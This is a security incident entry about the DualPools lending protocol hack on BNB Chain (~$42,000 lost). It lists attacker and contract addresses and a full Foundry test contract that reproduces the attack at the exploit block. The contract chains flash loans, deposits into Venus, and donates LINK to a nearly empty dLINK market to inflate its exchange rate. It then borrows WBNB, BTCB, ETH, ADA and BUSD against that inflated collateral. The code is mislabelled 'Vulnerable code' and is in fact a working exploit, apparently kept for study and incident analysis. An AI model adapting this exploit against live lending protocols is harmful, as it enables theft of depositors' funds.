HIGH severity: DualPools exploit (unknown). @KeyInfo - Total Lost : ~$42000 USD Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c Attack Contract : https://bscscan.com/address/0x38721b0d67dfdba1411bb277d95af3d53fa7200e Vulnerable Contract : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2 

Vulnerable code:
import "forge-std/Test.sol";

import "./../interface.sol";

// @KeyInfo - Total Lost : ~$42000 USD
// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c
// Attack Contract : https://bscscan.com/address/0x38721b0d67dfdba1411bb277d95af3d53fa7200e
// Vulnerable Contract : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2
// Attack Tx : https://bscscan.com/tx/0x90f374ca33fbd5aaa0d01f5fcf5dee4c7af49a98dc56b47459d8b7ad52ef1e93

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2#code

// @Analysis
// https://lunaray.medium.com/dualpools-hack-analysis-5209233801fa

interface IMarketFacet {
    function isComptroller() external pure returns (bool);

    function liquidateCalculateSeizeTokens(
        address vTokenBorrowed,
        address vTokenCollateral,
        uint256 actualRepayAmount
    ) external view returns (uint256, uint256);

    function liquidateVAICalculateSeizeTokens(
        address vTokenCollateral,
        uint256 actualRepayAmount
    ) external view returns (uint256, uint256);

    // function checkMembership(address account, VToken vToken) external view returns (bool);

    function enterMarkets(
        address[] calldata vTokens
    ) external returns (uint256[] memory);

    function exitMarket(
        address vToken
    ) external returns (uint256);

    // function _supportMarket(VToken vToken) external returns (uint256);

    // function getAssetsIn(address account) external view returns (VToken[] memory);

    // function getAllMarkets() external view returns (VToken[] memory);

    function updateDelegate(address delegate, bool allowBorrows) external;
}

interface VBep20Interface {
    function transfer(address dst, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(
        address owner
    ) external view returns (uint256);

    /**
     * User Interface **
     */
    function mint(
        uint256 mintAmount
    ) external returns (uint256);

    function mint() external payable;

    function mintBehalf(address receiver, uint256 mintAmount) external returns (uint256);

    function redeem(
        uint256 redeemTokens
    ) external returns (uint256);

    function redeemUnderlying(
        uint256 redeemAmount
    ) external returns (uint256);

    function borrow(
        uint256 borrowAmount
    ) external returns (uint256);

    function repayBorrow(
        uint256 repayAmount
    ) external returns (uint256);

    function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);

    // function liquidateBorrow(
    //     address borrower,
    //     uint repayAmount,
    //     VTokenInterface vTokenCollateral
    // ) external returns (uint);

    /**
     * Admin Functions **
     */
    function _addReserves(
        uint256 addAmount
    ) external returns (uint256);
}

contract ContractTest is Test {
    WETH9 private WBNB = WETH9(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 private LINK = IERC20(0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD);
    IERC20 private BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 private BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
    IERC20 private ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IERC20 private ADA = IERC20(0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47);

    VBep20Interface private vLINK = VBep20Interface(0x650b940a1033B8A1b1873f78730FcFC73ec11f1f);
    VBep20Interface private vBUSD = VBep20Interface(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
    VBep20Interface private vWBNB = VBep20Interface(0xA07c5b74C9B40447a954e1466938b865b6BBea36);

    VBep20Interface private dLINK = VBep20Interface(0x8fBCC81E5983d8347495468122c65E2Dc274eed9);
    VBep20Interface private dBTCB = VBep20Interface(0xB51F589BD9f69a0089c315521EE2FC848bAB6C0c);
    VBep20Interface private dWBNB = VBep20Interface(0xB5aAaCcFd69EA45b1A5Aa7E9c7a5e0DB2ce4357e);
    VBep20Interface private dETH = VBep20Interface(0x5F4a5252880b393a8cc4c01bBA4486Cf7a76075A);
    VBep20Interface private dADA = VBep20Interface(0xb2cf43E119BFC41554c4445f1867dc9F4cf69deD);
    VBep20Interface private dBUSD = VBep20Interface(0x514e2A29e98D49C676c93c5805cb83891CE6a9F5);

    IMarketFacet VenusProtocol = IMarketFacet(0xfD36E2c2a6789Db23113685031d7F16329158384);
    IMarketFacet Dualpools = IMarketFacet(0x5E5e28029eF37fC97ffb763C4aC1F532bbD4C7A2);

    IDPPOracle DPPOracle_0x1b52 = IDPPOracle(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);
    IDPPOracle DPPOracle_0x8191 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);

    IPancakePair pancakeSwap = IPancakePair(0x824eb9faDFb377394430d2744fa7C42916DE3eCe); // LINK-WBNB
    Uni_Pair_V3 pool = Uni_Pair_V3(0x172fcD41E0913e95784454622d1c3724f546f849);

    function setUp() public {
        vm.createSelectFork("bsc", 36_145_772 - 1);
        vm.label(address(this), "AttackContract");
        vm.label(address(WBNB), "WBNB");
        vm.label(address(LINK), "LINK");
        vm.label(address(BUSD), "BUSD");
        vm.label(address(BTCB), "BTCB");
        vm.label(address(ETH), "ETH");
        vm.label(address(ADA), "ADA");
        vm.label(address(vLINK), "vLINK");
        vm.label(address(vBUSD), "vBUSD");
        vm.label(address(vWBNB), "vWBNB");
        vm.label(address(VenusProtocol), "VenusProtocol");

        vm.label(address(dLINK), "dLINK");
        vm.label(address(dBTCB), "dBTCB");
        vm.label(address(dWBNB), "dWBNB");
        vm.label(address(dETH), "dETH");
        vm.label(address(dADA), "dADA");
        vm.label(address(dBUSD), "dBUSD");

        vm.label(address(Dualpools), "Dualpools");
    }

    function approveAll() internal {
        BUSD.approve(address(vBUSD), type(uint256).max);
        LINK.approve(address(vLINK), type(uint256).max);
        LINK.approve(address(dLINK), type(uint256).max);
    }

    function testAttack() public {
        approveAll();
        DPPOracle_0x1b52.flashLoan(7_001_000_000_000_000_000, 0, address(this), new bytes(1)); // borrow BUSD
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        console.log(msg.sender);
        if (msg.sender == address(DPPOracle_0x1b52)) {
            pancakeSwap.swap(0, 1000, address(this), data); // pancakeCall , swap BUSD to LINK
            BUSD.transfer(address(DPPOracle_0x1b52), 7_001_000_000_000_000_000);
        } else if (msg.sender == address(DPPOracle_0x8191)) {
            pool.flash(address(this), 70_000_000_000_000_000_000_000, 0, new bytes(1)); // v3call , borrow BUSD
            WBNB.transfer(address(pancakeSwap), 59);
        }
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        DPPOracle_0x8191.flashLoan(312_497_349_377_117_598_837, 154_451_704_908_346_387_787_280, address(this), data); // borrow WBNB and BUSD
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        address[] memory tokenList = new address[](2);
        tokenList[0] = address(vBUSD);
        tokenList[1] = address(vWBNB);
        VenusProtocol.enterMarkets(tokenList);
        vBUSD.mint(224_451_704_908_346_387_787_280); // 969266514517797 vBUSD
        WBNB.withdraw(312_497_349_377_117_598_837);
        vWBNB.mint{value: 312_497_349_377_117_598_837 wei}(); // 1320879335222 vBNB
        vLINK.borrow(11_500_000_000_000_000_000_000);

        dLINK.mint(2);
        LINK.transfer(address(dLINK), 11_499_999_999_999_999_999_998);
        address[] memory tokenList1 = new address[](1);
        tokenList1[0] = address(dLINK);
        Dualpools.enterMarkets(tokenList1);
        dWBNB.borrow(50_074_555_376_020_317_788);
        dBTCB.borrow(171_600_491_170_058_684);
        dETH.borrow(3_992_080_357_935_675_366);
        dADA.borrow(6_378_808_489_713_884_698_357);
        dBUSD.borrow(911_577_468_904_829_524_350);
        dLINK.redeemUnderlying(11_499_999_999_999_999_999_898);

        // LINK.transfer(address(this), 1000); // not necessary

        vLINK.repayBorrow(11_500_000_000_000_000_000_000);
        vBUSD.redeem(969_266_514_517_797);
        vWBNB.redeem(1_320_879_335_222);

        // BUSD.transfer(address(this), 7001000000000000000); // not necessary
        BUSD.transfer(address(DPPOracle_0x8191), 154_451_704_908_346_387_787_280);
        BUSD.transfer(address(pool), 70_007_000_000_000_000_000_000);

        WBNB.deposit{value: 362_571_904_345_528_150_166}();
        WBNB.transfer(address(DPPOracle_0x8191), 312_497_349_377_117_598_837);
    }

    receive() external payable {}
    fallback() external payable {}
}


Vulnerability type: unknown